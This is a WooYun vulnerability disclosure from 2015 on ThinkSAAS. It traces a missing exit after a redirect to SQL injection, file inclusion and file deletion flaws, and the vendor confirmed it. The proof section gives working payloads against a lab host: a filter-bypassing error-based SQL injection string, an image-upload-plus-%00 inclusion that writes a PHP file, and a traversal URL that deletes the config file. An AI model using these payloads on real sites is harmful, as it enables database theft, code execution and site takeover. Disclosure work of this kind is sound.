当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-094711

漏洞标题:ThinkSAAS最新版漏洞打包

相关厂商:thinksaas.cn

漏洞作者: Kavia

提交时间:2015-02-03 09:29

修复时间:2015-05-07 18:38

公开时间:2015-05-07 18:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-03: 细节已通知厂商并且等待厂商处理中
2015-02-06: 厂商已经确认,细节仅向厂商公开
2015-02-09: 细节向第三方安全合作伙伴开放
2015-04-02: 细节向核心白帽子及相关领域专家公开
2015-04-12: 细节向普通白帽子公开
2015-04-22: 细节向实习白帽子公开
2015-05-07: 细节向公众公开

简要描述:

SQL注入+文件包含+...
向xfkxfk牛学习,多个漏洞打包,希望走一个大厂商流程。

详细说明:

最新版中tsUrlCheck()函数引发了多个漏洞
\thinksaas\tsFunction.php

function tsUrlCheck($parameter) {

$parameter = trim($parameter);
//echo $parameter;exit();
$arrStr = str_split($parameter);
$strOk = '%-_1234567890abcdefghijklmnopqrstuvwxyz';
foreach ($arrStr as $key => $item) {
if (stripos($strOk, $item) === false) {
//qiMsg('非法URL参数!');
header('Location: /');
}
}
return $parameter;
}


检查传入的参数存在非$strOk变量中的字符时,就是用header跳转。
但是没有使用exit()来退出,所以程序依然会继续往下执行。
那么问题来了!
1、第一处SQL注入:
\app\tag\action\add.php

case "do":

$objname = tsFilter($_POST['objname']);
$idname = tsFilter($_POST['idname']);
$objid = intval($_POST['objid']);
$tags = t($_POST['tags']);

$new['tag']->addTag($objname,$idname,$objid,$tags);


$objname和$idname可控,而tsFilter()函数只进行了简单的过滤,可以被绕过,参考: WooYun: ThinkSAAS最新版绕过过滤继续注入
之后两个可控变量进入addTag()
\app\tag\class.tag.php

function addTag($objname,$idname,$objid,$tags){

$objname = tsUrlCheck($objname);
$idname = tsUrlCheck($idname);
$objid = intval($objid);

if($objname != '' && $idname != '' && $objid!=0 && $tags!=''){
$tags = str_replace ( ',', ',', $tags );
$arrTag = explode(',',$tags);
foreach($arrTag as $item){
$tagname = t($item);
if(strlen($tagname) < '32' && $tagname != ''){
$uptime = time();

$tagcount = $this->findCount('tag',array(
'tagname'=>$tagname,
));

if($tagcount == '0'){

$tagid = $this->create('tag',array(
'tagname'=>$tagname,
'uptime'=>$uptime,
));

$tagIndexCount = $this->findCount('tag_'.$objname.'_index',array(
$idname=>$objid,
'tagid'=>$tagid,
));


$objname和$idname进入$this->findCount()
$objname在表名处、$idname在作为$key,传入findCount()
跟进findCount()可以发现没有对$key进行过滤,并且没有被引号包裹,所以不受GPC限制。
因为此处有header会跳转,并且thinksaas报错不回显,所以需要有其他方式得到注入信息。
参考: WooYun: Thinksaas最新版注入无视GPC
可以知道thinksaas所有的mysql报错信息都会被记录在一个日志文件中,所以使用报错注入就可以成功了。
2、第二处SQL注入:
\app\tag\action\add_ajax.php

case "do":

$objname = tsUrlCheck($_POST['objname']);
$idname = tsUrlCheck($_POST['idname']);
$objid = intval($_POST['objid']);
$tags = t($_POST['tags']);

$new['tag']->addTag($objname,$idname,$objid,$tags);


这里则直接用tsUrlCheck()检查POST数据的情况,连tsFilter()都没有使用。之后的分析与1相同
3、任意文件包含:
\thinksaas\thinksaas.php

$app = isset($_GET['app']) ? tsUrlCheck($_GET['app']) : 'home';
...
include 'app/' . $app . '/config.php';


GET的参数只因果tsUrlCheck检查就传入了include。
所以可以通过截断,直接包含任意文件。
4、任意文件删除:
/app/system/action/plugin.php

case "delete":
$apps = tsUrlCheck($_GET['apps']);
$pname = tsUrlCheck($_GET['pname']);

delDir('plugins/'.$apps.'/'.$pname);


同样$apps和$pname只经过了tsUrlCheck的检测,就进入了危险函数。两个变量用户都可控,不需要截断,想怎么删就这么删。
不过由于该操作只能管理员操作,所以需要配合CSRF使用

漏洞证明:

1、注入:
给出复杂一些的第一处SQL注入的演示和exp:
exp:http://192.168.226.131/thinksaas/index.php?app=tag&ac=add&ts=do

objname=article&idname=1=1 anand d (selselect ect 1 frfrom om(selselect ect cocount unt(*),concat((selselect ect (selselect ect (selselect ect user())) frfrom om information_schema.tables limit 0,1),floor(rand(0)*2))x frfrom om information_schema.tables group bby y x)a)/*&objid=3&tags=5


sql.png


2、文件包含:
首先在上传头像处上传一个插了php代码的图片

include1.png


include2.jpg


接着访问,进行包含:
http://192.168.226.131/thinksaas/index.php?app=../cache/user/0/0/120/2.jpg%00a
在根目录下生成一个1.php

include3.png


3、任意文件删除:
以管理员身份,访问:
http://192.168.226.131/thinksaas/index.php?app=system&ac=plugin&ts=delete&apps=..&pname=data/config.inc.php
因为thinksaas通过判断是否存在config.inc.php,来判断是否进行过安装,所以删除该文件后,就可以进行再次安装。

修复方案:

header之后记得exit

版权声明:转载请注明来源 Kavia@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-02-06 18:36

厂商回复:

感谢反馈,新年快乐。

最新状态:

暂无